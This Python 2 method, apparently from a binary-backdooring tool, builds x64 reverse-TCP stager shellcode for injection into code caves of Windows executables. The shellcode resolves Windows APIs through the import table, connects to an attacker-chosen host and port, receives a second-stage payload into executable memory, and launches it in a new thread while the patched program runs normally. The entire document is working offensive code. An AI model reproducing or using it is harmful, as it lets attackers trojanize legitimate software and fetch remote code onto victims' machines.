'Completed IAT based payload includes spawning of thread.'

def iat_reverse_tcp_stager_threaded(self, flItms, CavesPicked={}):

    flItms['stager'] = True
    flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress', 'VirtualAlloc', 'CreateThread']
    for api in flItms['apis_needed']:
        if (api not in flItms):
            return False
    if (self.PORT is None):
        print 'This    payload    requires    the    PORT    parameter    -P'
        return False
    if (self.HOST is None):
        print 'This    payload    requires    a    HOST    parameter    -H'
        return False
    self.stackpreserve = '\x90PSQRVWUAPAQARASATAUAVAW\x9c'
    breakupvar = eat_code_caves(flItms, 0, 1)
    if (flItms['cave_jumping'] is True):
        self.shellcode2 = '\xe8'
        if (breakupvar > 0):
            if (len(self.shellcode2) < breakupvar):
                self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - breakupvar) - len(self.shellcode2)) + 99)).rstrip('L')), 16))
            else:
                self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - len(self.shellcode2)) - breakupvar) + 99)).rstrip('L')), 16))
        else:
            self.shellcode2 += struct.pack('<I', int(str(hex((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 71)).rstrip('L')), 16))
    else:
        self.shellcode2 = '\xe8\xba\xff\xff\xff'
    if (flItms['NewCodeCave'] is False):
        if (CavesPicked != {}):
            self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
        else:
            self.shellcode2 += ('A' * 90)
    self.shellcode2 += '\xfc'
    self.shellcode2 += 'UH\x89\xe5'
    self.shellcode2 += 'H1\xd2'
    self.shellcode2 += 'eH\x8bR`'
    self.shellcode2 += 'H\x8bR\x10'
    self.shellcode2 += 'I\xbe'
    if ((flItms['LoadLibraryA'] - flItms['ImageBase']) < 0):
        self.shellcode2 += struct.pack('<Q', (4294967295 + ((flItms['LoadLibraryA'] - flItms['ImageBase']) + 1)))
    else:
        self.shellcode2 += struct.pack('<Q', (flItms['LoadLibraryA'] - flItms['ImageBase']))
    self.shellcode2 += 'I\x01\xd6'
    self.shellcode2 += 'I\xbf'
    if ((flItms['GetProcAddress'] - flItms['ImageBase']) < 0):
        self.shellcode2 += struct.pack('<Q', (4294967295 + ((flItms['GetProcAddress'] - flItms['ImageBase']) + 1)))
    else:
        self.shellcode2 += struct.pack('<Q', (flItms['GetProcAddress'] - flItms['ImageBase']))
    self.shellcode2 += 'I\x01\xd7'
    self.shellcode2 += 'I\xbbws2_32\x00\x00ASI\x89\xe3H\x81\xec\xa0\x01\x00\x00H\x89\xe6H\xbf\x02\x00'
    self.shellcode2 += struct.pack('!H', self.PORT)
    self.shellcode2 += self.pack_ip_addresses()
    self.shellcode2 += 'WH\x89\xe7L\x89\xd9H\x83\xec    A\xff\x16I\x89\xc5H\x89\xc1\xeb\x0cWSAStartup\x00\x00H\x8d\x15\xed\xff\xff\xffH\x83\xec    A\xff\x17H\x95\xeb\x0cWSASocketA\x00\x00H\x8d\x15\xed\xff\xff\xffL\x89\xe9H\x83\xec    A\xff\x17I\x94H\x89\xf2h\x01\x01\x00\x00YH\x83\xec    \xff\xd5PPM1\xc0M1\xc9H\xff\xc0H\x89\xc2H\xff\xc0H\x89\xc1H\x83\xec    A\xff\xd4I\x94H\xbaconnect\x00RH\x89\xe2L\x89\xe9H\x83\xec    A\xff\x17H\x89\xc3j\x10AXH\x89\xfaL\x89\xe1H\x83\xec    \xff\xd3'
    self.shellcode2 += '\x90\x90\x90\x90L\x89\xe9H\xbarecv\x00\x00\x00\x00RH\x89\xe2H\x83\xec    A\xff\x17I\x89\xc5H\x81\xc4\xd0\x02\x00\x00H\x83\xec\x10H\x89\xe2M1\xc9j\x04AXL\x89\xe1H\x83\xec    A\xff\xd5H\x83\xc4    ^'
    self.shellcode2 += 'H1\xd2eH\x8bR`H\x8bR\x10'
    self.shellcode2 += 'I\xbe'
    if ((flItms['VirtualAlloc'] - flItms['ImageBase']) < 0):
        self.shellcode2 += struct.pack('<Q', (4294967295 + ((flItms['VirtualAlloc'] - flItms['ImageBase']) + 1)))
    else:
        self.shellcode2 += struct.pack('<Q', (flItms['VirtualAlloc'] - flItms['ImageBase']))
    self.shellcode2 += 'I\x01\xd6'
    self.shellcode2 += 'j@AYh\x00\x10\x00\x00AXH\x89\xf2H1\xc9H\x83\xec    A\xff\x16H\x89\xc3I\x89\xc7M1\xc9I\x89\xf0H\x89\xdaL\x89\xe1H\x83\xec    A\xff\xd5H\x01\xc3H)\xc6H\x85\xf6u\xe2L\x89\xe7A\xff\xe7'
    breakupvar = eat_code_caves(flItms, 0, 1)
    self.shellcode1 = '\xfc'
    self.shellcode1 += 'I\xbe'
    if ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
        self.shellcode1 += struct.pack('<Q', (4294967295 + ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
    else:
        self.shellcode1 += struct.pack('<Q', (flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
    self.shellcode1 += 'I\x01\xd6'
    self.shellcode1 += 'I\xbf'
    if ((flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
        self.shellcode1 += struct.pack('<Q', (4294967295 + ((flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
    else:
        self.shellcode1 += struct.pack('<Q', (flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
    self.shellcode1 += 'I\x01\xd7'
    self.shellcode1 += ']I\xc7\xc5'
    self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
    self.shellcode1 += 'j@AYh\x00\x10\x00\x00AXL\x89\xeaj\x00YH\x83\xec    A\xff\x16H\x89\xc3H\x89\xc7'
    self.shellcode1 += 'H\xc7\xc1'
    self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
    if (flItms['cave_jumping'] is True):
        self.shellcode1 += '\xe9'
        if (breakupvar > 0):
            if (len(self.shellcode1) < breakupvar):
                self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
            else:
                self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
        else:
            self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
    else:
        self.shellcode1 += '\xebA'
    self.shellcode1 += '^\xf2\xa4\xe8\x00\x00\x00\x00H1\xc0PPI\x89\xc1H\x89\xc2I\x89\xd8H\x89\xc1H\x83\xec    A\xff\x17H\x83\xc4P\x9dA_A^A]A\\A[AZAYAX]_^ZY[X'
    breakupvar = eat_code_caves(flItms, 0, 2)
    if (flItms['cave_jumping'] is True):
        self.shellcode1 += '\xe9'
        if (breakupvar > 0):
            if (len(self.shellcode1) < breakupvar):
                self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
            else:
                self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
        else:
            self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
    else:
        self.shellcode1 += '\xe9'
        self.shellcode1 += struct.pack('<I', len(self.shellcode2))
    self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
    return ((self.stackpreserve + self.shellcode1), self.shellcode2)
